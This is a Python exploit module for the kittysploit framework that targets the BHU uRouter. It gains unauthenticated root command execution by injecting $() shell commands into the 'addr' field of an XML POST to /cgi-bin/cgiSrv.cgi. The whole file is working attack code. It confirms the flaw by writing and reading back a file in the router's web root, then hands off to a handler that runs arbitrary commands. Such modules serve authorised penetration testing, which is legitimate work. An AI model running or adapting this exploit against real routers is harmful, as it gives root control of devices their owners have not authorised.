BHU uRouter RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""BHU uRouter RCE"""


from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'BHU uRouter RCE',
        'description': 'Module exploits BHU uRouter unauthenticated remote code execution vulnerability, which allows executing commands on the router with root privileges.',
        'author': ["Tao 'depierre' Sauvage"],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['http://www.ioactive.com/pdfs/BHU-WiFi_uRouter-Security_Advisory_Final081716.pdf'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def execute(self, cmd):
        headers = {'Content-Type': 'text/xml', 'X-Requested-With': 'XMLHttpRequest'}
        data = '<cmd><ITEM cmd="traceroute" addr="$({})" /></cmd>'.format(cmd)
        self.http_request(
            method="POST",
            path="/cgi-bin/cgiSrv.cgi",
            headers=headers,
            data=data
        )
        return ''  # Blind RCE so no response available
    def check(self):
        headers = {'Content-Type': 'text/xml', 'X-Requested-With': 'XMLHttpRequest'}
        data = '<cmd><ITEM cmd="traceroute" addr="$({})" /></cmd>'
        # Blind unauth RCE so we first create a file in the www-root directory
        cmd_echo = data.format(u'echo &quot;$USER&quot; &gt; /usr/share/www/ks.check')
        response = self.http_request(
            method="POST",
            path="/cgi-bin/cgiSrv.cgi",
            headers=headers,
            data=cmd_echo
        )
        if not response or u'status="doing"' not in response.text:
            return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}
        # Second we check that the file was successfully created
        response = self.http_request(
            method="GET",
            path="/ks.check",
        )
        if not response.status_code == 200 or u'root' not in response.text:
            return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}
        # Third we clean up the temp file. No need to check if successful since we already check that the device was
        # vulnerable at this point.
        cmd_rm = data.format("rm -f /usr/share/www/ks.check")
        self.http_request(
            method="POST",
            path="/cgi-bin/cgiSrv.cgi",
            headers=headers,
            data=cmd_rm
        )
        return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()